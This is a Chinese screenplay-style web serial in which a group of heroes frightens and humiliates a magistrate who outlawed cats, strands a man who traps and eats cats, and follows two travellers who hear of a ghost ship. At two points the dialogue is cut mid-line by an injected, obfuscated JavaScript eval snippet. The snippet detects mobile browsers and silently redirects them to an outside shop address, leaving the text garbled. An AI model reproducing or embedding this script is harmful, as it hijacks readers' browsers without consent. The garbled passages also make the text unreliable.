猫万岁:(摇摇头)我是吃百家饭长大的,在素良城里,也有不少人接济过我,那个老头儿没来这里当官之前,他们对我和我的猫都挺不错,所以我不想伤害他们。 洛宁:嗯,你还不算坏嘛! 金鹏:既要惩治县太爷,还不想惊扰当地的百姓,怕是有点儿困难,要不咱们等县太爷出城之后再动手? 银华:他要是不出城呢?咱们在这里一直等着吗?你哥怎么办?你不担心他了? 金鹏:我…… 金鹏的眼圈红了,见他这样,猫万岁好奇地问银华。 猫万岁:他哥怎么了? 银华:(瞅了一眼洛宁,对猫万岁笑道)没事儿,估计已经化成灰了。 洛宁:(瞪了他一眼)银华,你胡说什么呢! 银华:难道不是吗?你自己说说,这一路上咱们都干了些什么?若再这么耽搁下去,等咱们找到他哥,不就化成灰了吗? 洛宁白了他一眼,扭头对猫万岁道。 洛宁:万岁,之前咱们说好了要互帮互助,对不对? 猫万岁:对呀!你们给我帮忙,我就给你们帮忙,绝不食言! 洛宁:不用等天黑了,咱们天明就去! 银华:天明就去?丫头,你是不是非要闹得…… 洛宁:(摆手打断)放心吧,不会惊扰任何人。 猫万岁:哦,那要怎么做? 洛宁:(冲着他们微微一笑)来一出空城计,怎么样? 87.第九篇 猫皇大人 关州,素良城 城里虽然禁止养猫,却并未禁止养狗。这一日,一只狗正伸着长长的舌头、躺在树荫底下乘凉,一只猫悄悄从后面过来,对准它的尾巴便是一口,狗疼得大叫一声,见猫逃跑,立刻追了上去…… 9-19 街道上(日,外) 人物:康知县、潘捕头、轿夫若干 轿夫抬着轿子在路上走着,冷不防从对面突然窜过来一群狗,汪汪叫着跑了过去,差点儿撞到了他们。坐在轿子里的康知县,被晃得七荤八素,顿时恼了。 康知县:怎么回事? 潘捕头:回禀大人,是一群狗。 康知县:狗?谁家的狗? 潘捕头:不清楚,少说也有十来只,它们朝着同一个方向去了,像是在…… 康知县:(从轿子里探出头)在干什么? 潘捕头:在追一只猫。 康知县:(吃惊)猫?! 潘捕头:是啊,是在追一只猫。 康知县:(从轿子上下来)本官不是下令不许养猫吗?这只猫是从哪里来的? 潘捕头:不清楚,也许是…… 康知县:这也不清楚那也不清楚,你这个捕头是怎么当的? 潘捕头:大人请息怒!属下这就去把那只猫给您抓回来! 康知县:不仅仅要抓那只猫,连同养它的那个人,都给本官一起带过来! 潘捕头:是! 潘捕头带着手下的衙役,在城里搜寻着那只猫,那只猫像是知道他们在抓它,早就跑得无影无踪了。无奈之下,潘捕头只好敲开每户人家的门,逐个地盘问。 9-20 客栈(日,内) 人物:潘捕头及其手下、客栈掌柜 见潘捕头带着手下从外面进来,客栈掌柜立马笑着迎了上去。 客栈掌柜:潘大人,什么风把您给吹来了?来来来,快坐下!让小的给您沏壶茶! 潘捕头:不用了!许掌柜,你是否看见了一只猫? 客栈掌柜:猫?潘大人,您是不是在开玩笑呀?在咱们这座城里,别说是猫了,连一根猫毛都见不着! 潘捕头:不瞒你说,今天早上有一只猫冲撞了知县大人的轿子,惹得大人十分恼火,非要我把它抓住不可! 客栈掌柜:这样啊,会不会是从城外溜进来的野猫? 潘捕头:就算是野猫,也不能待在咱们这座城里。 客栈掌柜:这个我当然知道。您放心,如果那只猫来了这里,我一定把它抓了给您送过去。 潘捕头:(点点头)嗯,那行吧,你先忙着,我再去别家看看。 客栈掌柜:好嘞,您慢走,有空过来喝茶。 潘捕头刚转过身去,冷不防听见酒柜的后面传来一声猫叫。 潘捕头:(回过头来)什么声音? 衙役:像是……有猫在叫? 潘捕头:猫?快把它抓起来! 衙役们一拥而上,从酒柜的后面拎出一只小白猫。 客栈掌柜:咦,果然有只猫!潘大人,这下您可以拿它回去交差了! 潘捕头:(皱起眉头)不对呀! 客栈掌柜:怎么了? 潘捕头:这只猫不是早上的那一只。 客栈掌柜:不是? 潘捕头:对呀,不是。早上的那一只明明是黑的,而这一只却是白的。 客栈掌柜:白的? 潘捕头:我看得很清楚,不会弄错。 客栈掌柜:那是怎么回事?这只猫又从何而来? 潘捕头:这就要问问你了。许掌柜,这只猫不会你养的吧? 客栈掌柜:我养的?我哪敢养猫啊! 潘捕头:那可就不好说了!之前你不是总在我面前抱怨,说自打咱们这座城里没了猫之后,老鼠便猖狂了许多,把你店里的粮食都吃光了。不是吗? 客栈掌柜:我是这么说过,可…… 潘捕头:(摆手打断)许掌柜,我只管抓猫,你有什么话,去跟知县大人说吧!来人,把他带走! 潘捕头一声令下,衙役们押着客栈掌柜离开了客栈。 抓了客栈掌柜,潘捕头又带着手下继续去找猫,出乎他们意料的是,城里几乎每户人家的屋子里,都出现了这样那样的猫,它们有的藏在柜子里、有的躲在床底下,一听见官差来了,便会轻轻地叫一声,从里面钻出来。虽然那些人都不肯承认猫是他们养的,可潘捕头不敢大意,只能把他们都带回了衙门。而之前冲撞县太爷的那只黑猫,却像是凭空消失了一样,始终没找着。 9-21 县衙(日,内) 人物:康知县、潘捕头、魏师爷、百姓若干 被抓进县衙的百姓,纷纷替自己喊冤。 “冤枉啊,大人!那些猫不是我们养的!求大人明察!……” 康知县见一下子抓进来这么多人,也十分不解。 康知县:潘捕头,怎么回事?本官让你去抓猫,你把全城的百姓都抓起来干嘛? 潘捕头:回大人的话,不是属下故意要抓他们,而是属下在他们的屋子里都发现了猫。 康知县:(大吃一惊)猫?! 潘捕头:正是。 康知县:本官不是颁布过禁令不许他们养猫吗? 潘捕头:属下已经问过他们,他们都清楚地知道这条禁令。 康知县:既然都知道,为何还要养?分明就是不把我这个父母官放在眼里,哼! 见康知县发火,旁边的魏师爷劝道。 魏师爷:大人,您不觉得这件事有点儿蹊跷吗? 康知县:此话怎讲? 魏师爷:这么多人,像是商量好了一样,同时违背您的禁令,偷偷地养猫,怎么会这么巧呢? 康知县:(问潘捕头)上一个被处以猫刑的,是在什么时候? 潘捕头:回大人的话,是在半年前。 康知县:(对着魏师爷)这不就对了吗?已经过去了半年,这些人都以为本官大意了、不会再追究了,胆子也就越来越大了。若不是今天早上那只猫冲撞了本官,本官还不知道城里居然藏着这么多只猫,哼! 魏师爷:可大人您如果要将他们全部处以猫刑的话,不仅刑具不够用,那三棵树只怕也会被压断了。 康知县:那你说怎么办?放了他们吗?若真如此,本官之前颁布的那道禁令岂不成了儿戏?哼! 魏师爷:大人,咱们这座城虽然不大,南来北往的客商却不少,如果被他们看见全城的百姓都扮成了猫、在地上爬行,他们会怎么想?此事若传了出去,大人您的脸上也没光啊! 康知县:这…… 魏师爷:其实,大人您想惩戒他们,也可以恩威并施。 康知县:恩威并施? 魏师爷:他们不是在替自己喊冤吗?不如大人您就行个方便,给他们一个期限,让他们把猫送出城去,若期限到了,猫还在城内,这不正说明是他们养的吗?到那时,您再对他们处以猫刑,他们也就无话可说了。 康知县:嗯,有道理,就这么办! 康知县下令一天之内把城内的猫全部送出去,还要送的越远越好,绝不能让它们再回来了。百姓怕受猫刑,都不敢延误,纷纷带着猫出了城,往远处走去。一时间,整座城都空了。 夜幕降临,素良城里一片漆黑,只有县衙里还亮着灯。守门的衙役见四下无人,也比平常懒散了许多。 9-22 马车车厢(夜,内) 人物:洛宁、金鹏、银华、猫万岁 洛宁正在给银华、金鹏和猫万岁化妆,她用油彩给他们的脸画上花纹,又用皮毛给他们的身体作装饰。 洛宁:好了,这下保证没人能认得出你们了。 银华:(瞅了金鹏一眼,故作惊讶地)妈呀,金鹏,你可真丑! 金鹏:你不也是一样嘛! 银华:唉,可惜城里这会儿没人,不然的话,若被人看见了,还以为咱俩是无常鬼呢! 猫万岁:你俩要是无常鬼的话,那我就是阎罗王了! 银华:(笑着摸摸猫万岁的头)阎罗王要是长你这般模样,谁还会怕死呀? 洛宁:(打趣)要我说,你们既不是无常鬼、也不是阎罗王,而是幸福美满的一家三口! 银华:去你的!又在胡说! 银华伸手去打,洛宁笑着躲开,又递给他俩每人一条带子。 洛宁:来!把这个系在腰上! 银华/金鹏:什么东西? 洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009212|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁:猫尾巴呀!我用草编的,像不像? 银华:像倒是像,不过拖着这么长的一条尾巴去打架,很碍事儿呀! 金鹏:也有一点好处,就是可以拿它当鞭子使。 银华:(故意吓唬猫万岁)小子,听见没?一会儿去了县衙,你给我放老实点儿,不听话的话,我就拿鞭子抽你! 猫万岁:你敢拿鞭子抽我,我就让我的猫咬你!哼! 银华:你的猫如今都被送走了,等它们回来,这场仗早就打完了。 猫万岁:那些只是第一拨,还有第二拨呢! 洛宁:(吃惊)还有第二拨?万岁,你到底能召集多少只猫呀? 猫万岁:不是说了吗?天底下的猫都归我管!只要我一声令下,哪怕隔着千山万水,它们也会赶过来,助我一臂之力! 银华:行呀,小子,没想到你还真有些本事。既然还有第二拨,那就快让它们来吧!(不住地用手扇风)唉,穿着这么厚的一身皮毛,我都快被热死了! 9-23 县衙(夜,内) 人物:康知县、衙役若干 康知县正打算熄灯就寝,却意外地听见外面传来猫的叫声。 康知县:怪了!怎么还有猫? 他心中不安,便走出屋子,命令值守的衙役。 康知县:你们几个出去看看!如果有猫的话,立刻把它赶出城去! 众衙役:是! 衙役们出去后,不一会儿,又慌慌张张地跑了回来。 众衙役:大人,您快去瞧瞧!来了好多只猫! 康知县:好多只猫?怎么可能! 康知县正欲过去查看,却见无数只猫,从屋顶上、院墙上、树梢上,跃进了县衙里。 康知县:(惊呆了)天呐!这……这是怎么回事?哪里来的这么多只猫? 众衙役:不知道啊大人! 康知县:你们还愣着干嘛?快把它们赶出去呀! 衙役们冲上去抓猫,猫群不仅不躲闪,还反过来扑咬他们。越来越多的猫从外面涌入,一个个张牙舞爪,在衙役们的脸上和身上挠出一道又一道的口子,血淋淋的,疼得他们直叫唤。康知县见势不妙,急忙躲进了屋子里。 9-24 街道上(夜,外) 人物:康知县、银华、金鹏、猫万岁 就在衙役们与猫群缠斗之际,康知县从县衙的后门溜了出来,一路狂奔,想找个没有猫的地方避避风头,他不知道的是,就在旁边的林子里,早已有三双眼睛在盯着他了。 银华:呵呵,老鼠出洞了! 金鹏:不愧是肖鼠的,果然很没胆儿! 银华:(问猫万岁)小子,那老头儿已经出来了,接下来你打算怎么办呀? 猫万岁:先揍他一顿,替我的猫出口恶气! 金鹏:这个简单! 金鹏正欲过去,却被银华拦住。 银华:等等!着什么急呀! 金鹏:怎么了? 银华:(问猫万岁)小子!你的猫平常都是怎么捉老鼠的?是不是像灰姑娘吃小鱼干那样一口吞呀? 猫万岁:饿极了才会那样,平常它们都是玩一会儿再吃。 银华:玩一会儿再吃?呵呵,如今他是老鼠咱们是猫,咱们何不也玩他一会儿呢? 猫万岁:嘻嘻,好啊,这样才有意思呢! 9-24 街道上(夜,外) 人物:康知县、银华、金鹏、猫万岁 素良城的街道,犹如一个迷宫,康知县就是那只被困在其中的硕鼠。无论他走上哪一条街,前方都会有一只猫在等着他。这些猫的体型前所未见,仿佛一张口就能将他整个人生吞下去。康知县吓得不敢多看、转身就逃,可不管他逃到哪里,猫的叫声就像影子一样,紧紧地跟随着他,耳畔的风声,就像它们的利爪,仿佛一下子要将他撕碎了。他大呼救命,奈何无人应答。最后,他终于跑不动了,两眼一翻,昏死过去。 银华:这么快就歇菜了,真没用! 金鹏:(试了试康知县的鼻息)也不知是累瘫了,还是被咱们吓晕了过去。 猫万岁:他平常那么威风,怎么一遇上猫就变得不堪一击了? 银华:这叫一物降一物,知道不?哈哈! 88.第九篇 猫皇大人 关州,郊外 9-25 马车车厢(夜,内) 人物:洛宁、银华、金鹏、猫万岁 惩治了康知县,一行人趁着夜色离开了素良城,在河边洗去脸上的油彩,又坐上马车继续前行。 银华:天一亮,素良城的百姓就有热闹可以看了。 金鹏:咱们把他挂在了最高的那节树梢上,别说是城内,城外也一样能看到。 猫万岁:那老头儿怕是连做梦都想不到,他自己也会有受猫刑一天。 银华:山鸡飞上枝头,能变成凤凰;老鼠爬上树梢,也能变成猫。哈哈! 众人都笑了。 猫万岁:你们给我帮了这么大的忙,现在该换我来帮你们了。宁姐姐,你想让我干什么,尽管说吧! 银华:丫头,听见没?快发号施令吧! 洛宁:我…… 洛宁正欲开口,又听猫万岁叫道。 猫万岁:等等! 银华:又怎么了?小子,你就不能等她把话说完了再喊停吗? 猫万岁:那样就错过了! 银华:错过了?错过什么了? 猫万岁:双菇山呀! 猫万岁说完,便叫车夫把车停下,自己先下去,众人见状,也跟着下了车。 银华:喂喂喂,小子,你又想干什么?你说你小小年纪,怎么一天到晚这么多事呀? 猫万岁:我去素良城之前,还留了几只猫,在这里钓鱼。 银华:钓鱼?你们这是打算摆庆功宴吗? 洛宁:(环顾四周)这附近好像没听见水声,鱼在哪里? 猫万岁:(指了指前面黑黝黝的山峰)就在那个山坡上! 9-26 双菇山(夜,外) 人物:洛宁、金鹏、银华、猫万岁、李二狗 猫万岁在前面带路,众人跟着他上了山。 黑暗中,传来一个声音,断断续续、有气无力,“有没有人呀?快救救我!我快要不行了!……” 银华:(皱起眉头)什么鬼? 猫万岁:(激动)哈哈,功夫不负有心人,终于让我逮住你了! 猫万岁说着便往前跑去,众人跟着他,来到了一个深坑前,提起灯笼一照,这才发现坑底竟躺着一个人,像是受了伤。见到他们,那个人很高兴,向他们伸出双手。 李二狗:太好了,终于有人来了!快救救我,把我拉上去,我的腿摔断了! 猫万岁:我要是想救你的话,当初又何必挖这个坑呢? 听了这话,众人都吃了一惊。 银华:小子,这个坑是你挖的? 猫万岁:对呀,费了我好大的劲儿呢! 李二狗:你……你是谁?为何要这样对我?我跟你有仇吗? 猫万岁:你怎么不问问你自己,吃了多少只猫呢? 洛宁:(吃惊)你说什么?他吃猫? 猫万岁:酒楼里不是有道名菜叫龙虎汤吗?别人只是偶尔吃一顿,他却是顿顿都在吃。 李二狗:(委屈)我吃猫怎么了?县太爷只说不许养猫,又没说不许吃猫。我肚子饿的时候拿它们裹腹,有何不可? 银华:这家伙是谁? 猫万岁:他叫李二狗,是这一带出了名的懒汉,平日里不事劳作,就只会蹭吃蹭喝,大家都很讨厌他。他见素良城里不许养猫,便打起了这些猫的主意,在野外设下陷阱,四处抓捕它们。 银华:噢,明白了。他设下陷阱抓猫,你就设下陷阱抓他,对不对? 猫万岁:对呀!我见这附近有他留下的竹笼,心想他肯定会来这里,便提前挖好了这个坑,用我的猫作饵,就等着他上钩呢! 银华:啧啧,小子,你可真是太聪明了!(竖起大拇指)干得好!哈哈! 李二狗:(气得说不出话来)你们…… 银华:(蹲下身对着李二狗)怎么?不服气呀?这个坑又不是很深,有本事你就自己上来呗! 李二狗:不是跟你说了吗?我的腿断了!唉哟哟,唉哟哟,好疼呀!疼死我了! 李二狗抱着腿连声哀嚎,见他这样,金鹏有些于心不忍。 金鹏:银华,要不咱们还是把他救上来吧。 银华:救什么呀?好不容易才逮住的,就让他搁里边儿待着! 金鹏:可这样下去他会死的。 银华:这叫一报还一报,活该! 金鹏:宁儿,你说呢? 洛宁:我看他的样子,一时半会儿应该还死不了。这里离素良城不远,就算咱们不救他,别人也会发现他。 银华:就是嘛!咱们还急着赶路,没空管这个闲事! 李二狗:你们……你们这些家伙,真是太可恶了! 银华:(两眼一瞪)骂谁呢?信不信我再弄几块石头丢在你的脑袋上呀? 李二狗:(忙换了副笑脸)不不不!这位少侠,我错了!我错了!我……我向你们发誓,以后再也不吃猫了,行不?你们就把我拉上去吧! 银华:(问猫万岁)他的话,你信吗? 猫万岁:这得问问我的猫了! 猫万岁吹了声口哨,一只黑白相间的猫,从林子里跑了出来,来到他面前。 猫万岁:(抱起那只猫)顶呱呱,这回可真是辛苦你了! 银华:咦,这只猫怎么看上去有点儿眼熟? 金鹏:猫长得不都差不多吗? 银华:(看见猫脖子上的红绳)不对!是那根红绳,怎么又系上了?小子,原来在中兴城里,你就已经盯上咱们了? 洛宁:银华,你不是恩威堂第一高手吗?当时怎么没发现他? 银华:我…… 没等银华开口,下面的李二狗又叫了起来。 李二狗:你们……你们能不能快点儿?再这样下去,我的腿要废了! 银华:急什么?这不正在商量嘛!(对着猫万岁)小子,问问你的猫。 猫万岁:好。(低头问猫)顶呱呱,你来说说,咱们到底是救还是不救? 顶呱呱喵呜了一声,将脸扭向一边。 银华:它说什么? 猫万岁:它好像不太同意。 银华:(笑着对李二狗)呵呵,这位兄弟,我们也很想救你,奈何猫不肯答应。你呀,还是老老实实地待在这儿,反省一下吧! 李二狗:喂喂喂,你们别走!别走呀!…… 众人头也不回地走了。 关州,素良城 9-27 县衙(日,内) 人物:潘捕头、衙役若干、百姓 第二天早上,当潘捕头来到县衙时,见里面一片狼藉,到处都是猫毛,衙役们也受了伤。 潘捕头:出了什么事?你们的脸怎么了? 众衙役:老大!昨晚不知从哪里来了一群猫,一个比一个凶,我们的脸上和身上都被它们抓花了! 潘捕头:猫不是已经被送出城了吗?怎么又回来了?大人呢?在哪里? 众衙役:不清楚。他让我们抓猫,自己却不知道躲哪儿去了! 一个百姓从外面跑了进来。 百姓:大人!大人!您快去瞧瞧!那三棵树上挂着一个人呢! 潘捕头听了,心中疑惑,急忙赶去了三棵树那里。 9-28 三棵树(日,外) 人物:康知县、潘捕头、衙役若干、百姓若干 康知县从昏迷中醒来时,天已大亮。他觉得浑身凉飕飕的,低头一看,自己竟然光着身子、被挂在了树梢上。而树的下面,站满了素良城的百姓,都仰面望着他。 百姓甲:咦,那个人是谁?怎么没穿衣裳? 百姓乙:是啊,真是太丢人了! 百姓丙:知县大人不是说一天之内把猫送走了、就不用受猫刑吗?这个人是怎么回事? 百姓丁:对呀,时候还没到,怎么就把他挂上去了? 潘捕头带着衙役们来了。 潘捕头:怎么回事?谁干的? 众衙役:不知道啊! 潘捕头:快把他放下来! 衙役们爬上树,正打算解开绳索,却一眼认出了康知县。 众衙役:大人?怎么是您? 康知县:(紧捂住脸)快别叫了,丢死人了! 潘捕头:(在下面冲着衙役们喊)喂喂喂,你们几个愣着干嘛?还不快把人弄下来! 其中一个衙役想了想,对另一个衙役道。 衙役甲:你先下去,跟老大说一声,让他把人群都遣散了,再给大人拿件衣裳过来! 衙役乙:好! 衙役乙从树上下来后,对潘捕头耳语了几句,潘捕头听了大吃一惊。 潘捕头:大人?他怎么会在上面? 衙役乙:不知道啊! 见围观的百姓越来越多,潘捕头走上前去,试图驱散他们。 潘捕头:都回去吧!别看了! 百姓甲:大人!那个人是谁?为何不许我们看? 潘捕头:别问了!快回去吧! 百姓乙:大人,这就是您的不对了!以前但凡城里有人受猫刑,您都是挨家挨户地催着我们来看。怎么今儿这个人受猫刑的时候,您却不许我们看了? 百姓丙:对呀对呀!这个人到底是谁?为何不让看?还有知县大人呢?他怎么没来? 潘捕头:你们到底走不走?再不走的话,我可要抓人了! 百姓丁:我们又没犯事,你凭什么抓我们?难不成看热闹也有错呀? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009213|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百姓甲:对呀对呀!大家都别走了,留下来看热闹! 百姓们纷纷起哄,都不肯离开,非要看一看树梢上挂着的那个人的真面目。就在潘捕头急得不知所措时,一个衙役带着康知县的衣物,匆匆地赶了过来。 衙役丙:(气喘吁吁地)老大,这是您要的衣裳! 潘捕头:怎么是官服?我不是说了让你拿常服吗? 衙役丙:别的衣裳都被猫抓烂了,只剩下这一件还是好的。 潘捕头:你呀你,可真会给我添乱呀! 百姓们一看是康知县的官服,顿时明白了过来,先是面面相觑,接着又觉得十分好笑。 百姓甲:噢,原来上面的那个人是县太爷呀? 百姓乙:难怪不许咱们看呢! 百姓丙:可县太爷为何会在那上面? 百姓丁:是啊,谁把他弄上去的?总不能是他自己上去的吧? 百姓甲:你们说他是不是也想尝一尝当猫的滋味儿呢? 百姓乙:他连衣裳都没穿,这算什么猫啊? 百姓丙:无毛猫呗! 人群发出阵阵哄笑,康知县羞得无地自容,把脸深深地埋进了胸口里…… 梁州,凤凰城 9-29 督察府,张正清的屋子(日,内) 人物:张正清、田佳 得知洛宁的去向,张正清的心中叫苦不迭。 张正清:小屁孩,你可真会给我出难题呀!是不是非要逼着我亲自去博州把你抓回来才肯罢休呀?这要是被那个家伙知道了,我又解释不清了,唉!不过话说回来,他是督察,我也是督察,我为何要怕他呀?当年的那件事,又不能全怪我…… 正想着,旁边一个声音道。 田佳:老大? 张正清:(猛地回过神)哦,田佳,是你呀!(干咳两声,坐直了身子)你什么时候进来的? 田佳:我来的有一会儿了,不过见你在想事情,所以没敢打扰你。 张正清:有事吗? 田佳:我刚才在门口碰见了青姑娘,她有封信托我转交给你。 张正清:给我瞧瞧。 张正清从田佳的手里接过信,打开一看,只见上面写着:“张大哥,我错了!求求你原谅我,让我回来吧!我向你保证,以后再也不惹事了……” 张正清:(眯起眼)谁写的? 田佳:老大,这上面可是宁儿的字,你不认识了吗? 张正清:我知道是她的字,我问的是谁写的? 田佳:她的字,当然是她写的了。 张正清:哦,这样啊。你刚才见到她姐,有没有问问她的情况呀? 田佳:问了。她姐说,她现在可乖了,每天都在家里非常勤奋地抄大忏悔文呢! 张正清:有多勤奋? 田佳:每天早上天一亮就动笔,一直抄到深夜,除了吃饭喝水上茅房之外,基本上没歇过。 张正清:那应该也抄了不下百遍了吧? 田佳:可不是嘛!看在她这么有诚意的份上,你就原谅她吧! 张正清:行呀!只要你去洛府,把她抄的大忏悔文拿来给我过目,我就原谅她。 田佳:这…… 张正清:这什么这?快去呀! 田佳:老大,你这不是为难我吗? 张正清:她抄大忏悔文,你为难什么呀? 见张正清不上当,田佳只好改口。 田佳:唉,罢了!我还是跟你说实话吧,这封信……其实是我写的。 张正清:田佳呀田佳,你怎么这么快就怂了?你也该学学那丫头,就算谎言被拆穿了,也要面不改色心不跳,厚着脸皮死撑到底! 田佳:我要是有宁儿那本事,这会儿早就去聚胜古都了。 张正清:聚胜古都?那里有什么好? 田佳:我听宁儿说,那里繁华极了!不管是谁去了,哪怕一天到晚什么事都不干,也照样有吃有喝有钱花。 张正清:啧啧,这么好呀?可我怎么觉得那丫头不像是从天上掉下来的呢? 田佳:什么意思? 张正清:又懒又馋又抠,活脱脱一个饿死鬼投胎! 田佳:(撇了撇嘴,央求)老大,你就行行好,让宁儿回来吧!她不在这里,我一个人好无聊呀! 张正清:想找个人陪你玩是吧?好说!我让黄毅…… 田佳:(摆手打断)别别别!千万别找他!他跟甜妞儿正好着呢,我若是跟他走的太近了,甜妞儿会不高兴的! 张正清:呵呵,你还懂得要避嫌呐!不过我告诉你,那丫头就算来了,也没空陪你玩! 田佳:什么意思? 张正清:我打算让她搬来我这里,从早到晚盯着她!哼! 89.第九篇 猫皇大人 博州,见喜城 9-30 酒楼(日,内) 人物:裴光年、小迢、酒楼伙计 傍晚时分,裴光年和小迢在海边的一家酒楼里吃饭。 小迢:(摸摸肚子,心满意足地打了个饱嗝儿)少爷,自从来到了博州,我顿顿跟着您一起吃海虾、吃海蟹,都快要忘记鸡鸭鱼是什么滋味了! 裴光年:那从明天开始,咱们就不要吃了,免得你回到梅州之后,又过不了苦日子。 小迢:别别别!您还是让我吃个够吧!这样的话,回去之后我就不会再惦记了。 裴光年:你呀你,当初还是应该留在济州,跟着我出来受罪,值吗? 小迢:您都不怕苦,我怕什么呀?更何况这一路上咱俩也没挨饿呀,嘿嘿! 酒足饭饱之后,二人招呼伙计过来结账。 酒楼伙计:客官,一共是二两银子。 小迢:(吃惊)二两银子?不对吧!中午我们在对面的那家酒楼里吃饭,也是这么几个菜,人家只收了我们一两银子,怎么到了你这里却翻倍了? 酒楼伙计:客官您有所不知,我们这家酒楼与对面的那家酒楼虽然只隔着一条街,但客人在我们这里吃饭的感受、与在对面吃饭的感受,是完全不同的。 裴光年:(不解地)吃饭是为了填饱肚子,何来什么感受? 酒楼伙计:客官,您坐在这里吃饭时,有没有听到海浪声? 小迢:有啊!一波接着一波,就像摇篮曲一样,可舒服了! 酒楼伙计:您再瞧瞧窗外,大海是不是近在眼前? 小迢:是呀,美极了!还有海风,一阵一阵地吹过来,简直不要太凉爽! 酒楼伙计:这不就对了嘛!像这种感受,您在对面的那家酒楼里,根本找不到! 裴光年:(指着海面上漂浮的一条船)照你这么说,如果把这些桌椅板凳全搬到那条船上去,岂不是要收五两银子了? 酒楼伙计:那条船?呵呵,客官,小的倒贴给您五两银子,只怕您也不敢上去。 裴光年:哦,此话怎讲? 酒楼伙计:那条船可是咱们这一带出了名的鬼船,很多来这里游玩的客人,除了看海之外,就是为了看它。 裴光年:(与小迢互相对望了一眼)鬼船? 酒楼伙计:(神秘兮兮地)说出来不怕吓着您,但凡坐上那艘船的人,没一个回来过。 小迢:小二,你是不是又在糊弄人呀?为了赚更多的钱,编一个子虚乌有的故事,来吸引更多的客人。要我说,那就是一艘没人要的破船! 酒楼伙计:我的话您不信,知县大人的话您总要信吧?这个故事可是他亲口编的! 裴光年:这么说,连知县大人也认为那是一艘鬼船?既如此,为何不把它凿沉了? 酒楼伙计:知县大人也曾这么想过,甚至还派人去了那艘船上。 小迢:结果呢?是不是那些人也消失不见了? 酒楼伙计:他们根本追不上那艘船。 裴光年:还有这等事? 裴光年正要接着问,却被邻桌的客人打断了。 邻桌的客人:小二,给我们来壶酒! 酒楼伙计:哎,好嘞,您稍等!(笑着对裴光年)客官,您若想去那艘船上碰碰运气,小的也不拦着您,不过在此之前,烦请您先把账结了。 9-31 海边(日,外) 人物:裴光年、小迢 从酒楼里出来后,裴光年带着小迢来到海边,遥望那艘鬼船。 裴光年:(若有所思)若真如店小二所言,登上了那艘船的人,无一回来。那这些人如今又在何处?是死是活?若已经死了,尸体在哪儿?若还活着,人又在哪儿?…… 小迢:(看出他的心事)少爷,咱们还有正事要办,这个闲事您就不要管了吧! 裴光年:小迢,你不是说那个姓桂的在你眼里就像一个鬼吗? 小迢:对呀,怎么了? 裴光年:咱们何不坐上鬼船去捉鬼呢? 小迢:(吓了一跳)啊!真……真的要去呀? 裴光年:借力打力,能省下不少工夫呢! 小迢:少爷,您可一定要想清楚了!这要是上去了,下不来怎么办?茫茫大海上,就只剩下咱们俩,叫天天不应、叫地地不灵,没吃没喝,有钱也花不出去。留在船上,死路一条;跳进海里,还是死路一条。若再遇上一头大白鲨或者别的什么怪物,一阵扑杀撕咬,不仅死得极其痛苦,甚至连全尸都保不住…… 见小迢越说越沮丧,裴光年忍不住笑了。 裴光年:小子,你可真笨!没看出来我是在逗你玩吗?哈哈! 博州,安民城 9-32 酒楼(日,内) 人物:裴光年、小迢、酒楼伙计 又到了一座城。裴光年和小迢吸取上次的教训,特意找了家不靠海的酒楼吃饭。因为一楼客满,二人便坐在了楼上。饭后,又招呼伙计过来结账。 酒楼伙计:客官,一共是三两银子。 小迢:(吃惊)三两银子?这也太离谱了吧!中午我们不也在你们这家店里吃饭吗?你只收了我们一两银子,怎么到了晚上就翻倍了?你可别告诉我,又是因为大海哟! 酒楼伙计:客官,中午的那顿饭您是在楼下吃的吧? 小迢:对呀,怎么了? 酒楼伙计:这里是楼上,小的把饭菜给您端上来,需要花费比楼下更多的时间和力气,这一来一往,价钱不就涨了吗? 裴光年:照你这么说,若更上一层楼,岂不是要收五两银子了? 酒楼伙计:三楼以上全是包间,最低消费不少于十两。 裴光年:呵呵,明白了,你们这家店是不打算做回头客的生意了。(摆摆手)小迢,付钱! 9-33 街道上(日,外) 人物:裴光年、小迢 从酒楼出来后,裴光年一脸的不高兴。 裴光年:不过只上了一趟楼,就平白地多出了二两银子,这家店真是太黑了! 小迢:少爷,其实您以前在济州的时候,也没少被这些人坑过,只不过那时的您不管到哪里,都是赊账,年底才结清一次,从不曾亲自付过钱,又怎么会知道这其中的深浅。 裴光年:咱们梅州也有这种情况吗? 小迢:(摇摇头)不清楚。 裴光年:等回去之后,一定要好好地查一查。 小迢:少爷,这个好像不归咱们管吧? 裴光年:谁说督察府只管命案?只要这世上有不公,咱们就能管!哼! 二人正打算回客栈,又见路人纷纷朝大海的方向去了,不免心中好奇。 小迢:这些人怎么一窝蜂地往海边跑啊? 裴光年:也许想趁着退潮的时候,在海边捡一些鱼虾吧。 小迢:少爷,要不咱们也去凑凑热闹? 裴光年:你自己去吧,我有些累了,想早点儿回去休息。 小迢:那行,我去去就回! 9-34 客栈,客房(日,内) 人物:裴光年、小迢 裴光年回到客栈,还没来得及躺下,门就被撞开了,他定睛一看,竟然是小迢,他又回来了。 小迢:(上气不接下气地)少爷……您快去瞧瞧,简直太不可思议了! 裴光年:(不满地)什么呀? 小迢:那艘船……也来了! 裴光年:船?什么船? 小迢:就是我们在见喜城里见过的那艘鬼船! 裴光年:鬼船?不可能吧!你是不是看错了? 小迢:我一个人看错了不打紧,难不成大家都看错了? 裴光年:博州的海域里,像那样的船,到底有几艘呀? 